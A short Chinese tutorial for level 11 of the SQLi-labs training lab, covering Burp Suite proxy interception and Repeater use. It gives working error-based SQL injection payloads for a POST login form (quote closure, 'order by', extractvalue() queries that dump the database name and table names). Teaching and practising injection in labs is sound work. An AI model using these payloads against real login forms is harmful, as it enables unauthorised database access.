SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法

11关为POST提交 

则我们可以借助工具:BurpLoader

将浏览器设置代理为127.0.0.1

SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法_第1张图片

在Burploader中设置代理

SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法_第2张图片

在其中添加 127.0.0.1:8080 并在前方的Running复选框打上勾

在工具中打开拦截

SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法_第3张图片

此时我们在浏览器中的任何数据都会被拦截

SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法_第4张图片

在数据报中右键选择Send to Repeater

SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法_第5张图片

我们再进入Repeater选项卡然后修改数据包后 点GO发送

uname=admin'&passwd=admin&submit=Submit

发送后报错

SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法_第6张图片

单引号成功构造闭合

uname=admin' order by 2 --+&passwd=admin&submit=Submit

extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

uname=admin' and extractvalue(1,concat(0,(select database())))--+&passwd=admin&submit=Submit

 

uname=admin' and extractvalue(1,concat(0,(select table_name from information_schema.tables where table_schema='security')))--+&passwd=admin&submit=Submit

你可能感兴趣的:(SQLI,DUMB,SERIES闯关)